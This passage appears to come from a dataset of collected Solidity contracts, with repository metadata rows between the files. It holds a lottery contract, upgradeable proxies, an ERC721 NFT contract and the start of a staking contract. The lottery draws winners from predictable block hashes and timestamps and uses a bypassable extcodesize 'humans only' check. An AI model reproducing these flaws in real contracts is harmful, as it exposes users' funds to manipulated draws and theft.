else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers);
event onDraw
(uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber);
event onStartRunnd
(uint256 timestamp,
uint256 roundID);
event onBet
(address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber);
event onAssign
(address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus, // assigned to winner
uint256 fund // assigned to platform);
event onRefund
(address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount);
event onLastRefund
(address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether; // min bet every time
uint256 constant private PRICE = 0.01 ether; // 0.01 ether every number
uint256 constant private MAX_DURATION = 30 days; // max duration every round
uint256 constant private REFUND_RATE = 90; // refund rate to player(%)
address constant private platform = 0xD51bD6EB7aA3661c9c5726403315F0B0f8d96C2e; // paltform's address
uint256 private curRoundID; // current round
uint256 private drawnRoundID; // already drawn round
uint256 private drawnBlockNumber; // already drawn a round in block
uint256 private bonus; // bonus assigned to the winner
uint256 private issued_numbers; // total numbers every round
bool private initialized; // game is initialized or not
// (roundID => data) returns round data
mapping (uint256 => DataSet.Round) private rounds;
// (roundID => address => numbers) returns player's numbers in round
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
// default constructor
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
// can only be initialized once
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
// initiate global parameters
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
// start the first round game
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))))) % issued_numbers;
}
function bet(uint256 _amount) private
{
// 1. draw the winning number if it is necessary
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
// 2. bet
uint256 amount = _amount;
while (true)
{
// in every round, one can buy min(max, available) numbers.
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
// on condition that the PRICE is 0.01 eth, if the player pays 0.056 eth for
// a bet, then the player can exchange only five number, as 0.056/0.01 = 5,
// and the rest 0.06 eth distributed to the pond of current round.
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
// end current round and start the next round
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
// assgin bonus to player, and the rest of the pond to platform
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
// 1. count numbers owned by the player
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
// 2. refund 90% to the player
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
// 3. refund the rest(abount 10% of the pond) to the platform if the player is the last to refund
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
}
| 222,753 | 12,086 |
b416afba54e1dea9830a5c7237d0a8c32b86d7bb29a1225be7144025738709fb
| 36,141 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/1533_61506_0xb932a70a57673d89f4acffbe830e8ed7f75fb9e0.sol
| 4,931 | 17,873 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
interface ISuperRare {
function name() external pure returns (string _name);
function symbol() external pure returns (string _symbol);
function isWhitelisted(address _creator) external view returns (bool);
function tokenURI(uint256 _tokenId) external view returns (string);
function creatorOfToken(uint256 _tokenId) public view returns (address);
function totalSupply() public view returns (uint256);
}
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes data)
public;
}
contract IERC721Creator is IERC721 {
function tokenCreator(uint256 _tokenId) public view returns (address);
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Whitelist is Ownable {
// Mapping of address to boolean indicating whether the address is whitelisted
mapping(address => bool) private whitelistMap;
// flag controlling whether whitelist is enabled.
bool private whitelistEnabled = true;
event AddToWhitelist(address indexed _newAddress);
event RemoveFromWhitelist(address indexed _removedAddress);
function enableWhitelist(bool _enabled) public onlyOwner {
whitelistEnabled = _enabled;
}
function addToWhitelist(address _newAddress) public onlyOwner {
_whitelist(_newAddress);
emit AddToWhitelist(_newAddress);
}
function removeFromWhitelist(address _removedAddress) public onlyOwner {
_unWhitelist(_removedAddress);
emit RemoveFromWhitelist(_removedAddress);
}
function isWhitelisted(address _address) public view returns (bool) {
if (whitelistEnabled) {
return whitelistMap[_address];
} else {
return true;
}
}
function _unWhitelist(address _removedAddress) internal {
whitelistMap[_removedAddress] = false;
}
function _whitelist(address _newAddress) internal {
whitelistMap[_newAddress] = true;
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
contract SuperRareV2 is ERC721Full, IERC721Creator, Ownable, Whitelist {
using SafeMath for uint256;
// Mapping from token ID to the creator's address.
mapping(uint256 => address) private tokenCreators;
// Counter for creating token IDs
uint256 private idCounter;
// Old SuperRare contract to look up token details.
ISuperRare private oldSuperRare;
// Event indicating metadata was updated.
event TokenURIUpdated(uint256 indexed _tokenId, string _uri);
constructor(string _name,
string _symbol,
address _oldSuperRare)
ERC721Full(_name, _symbol)
{
// Get reference to old SR contract.
oldSuperRare = ISuperRare(_oldSuperRare);
uint256 oldSupply = oldSuperRare.totalSupply();
// Set id counter to be continuous with SuperRare.
idCounter = oldSupply + 1;
}
function initWhitelist(address[] _whitelistees) public onlyOwner {
// Add all whitelistees.
for (uint256 i = 0; i < _whitelistees.length; i++) {
address creator = _whitelistees[i];
if (!isWhitelisted(creator)) {
_whitelist(creator);
}
}
}
modifier onlyTokenOwner(uint256 _tokenId) {
address owner = ownerOf(_tokenId);
require(owner == msg.sender, "must be the owner of the token");
_;
}
modifier onlyTokenCreator(uint256 _tokenId) {
address creator = tokenCreator(_tokenId);
require(creator == msg.sender, "must be the creator of the token");
_;
}
function addNewToken(string _uri) public {
require(isWhitelisted(msg.sender), "must be whitelisted to create tokens");
_createToken(_uri, msg.sender);
}
function deleteToken(uint256 _tokenId) public onlyTokenOwner(_tokenId) {
_burn(msg.sender, _tokenId);
}
function updateTokenMetadata(uint256 _tokenId, string _uri)
public
onlyTokenOwner(_tokenId)
onlyTokenCreator(_tokenId)
{
_setTokenURI(_tokenId, _uri);
emit TokenURIUpdated(_tokenId, _uri);
}
function tokenCreator(uint256 _tokenId) public view returns (address) {
return tokenCreators[_tokenId];
}
function _setTokenCreator(uint256 _tokenId, address _creator) internal {
tokenCreators[_tokenId] = _creator;
}
function _createToken(string _uri, address _creator) internal returns (uint256) {
uint256 newId = idCounter;
idCounter++;
_mint(_creator, newId);
_setTokenURI(newId, _uri);
_setTokenCreator(newId, _creator);
return newId;
}
}
| 230,769 | 12,087 |
d8bbabd4205690904a62d93e5e5a4e8d408d047ae37cd835e6d6c361f345175c
| 14,727 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/21/218283477D7DbA19358C3cCCcF3afe1BBf8e227C_StakingManager.sol
| 3,514 | 13,926 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.7.5;
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyPolicy() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyPolicy() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
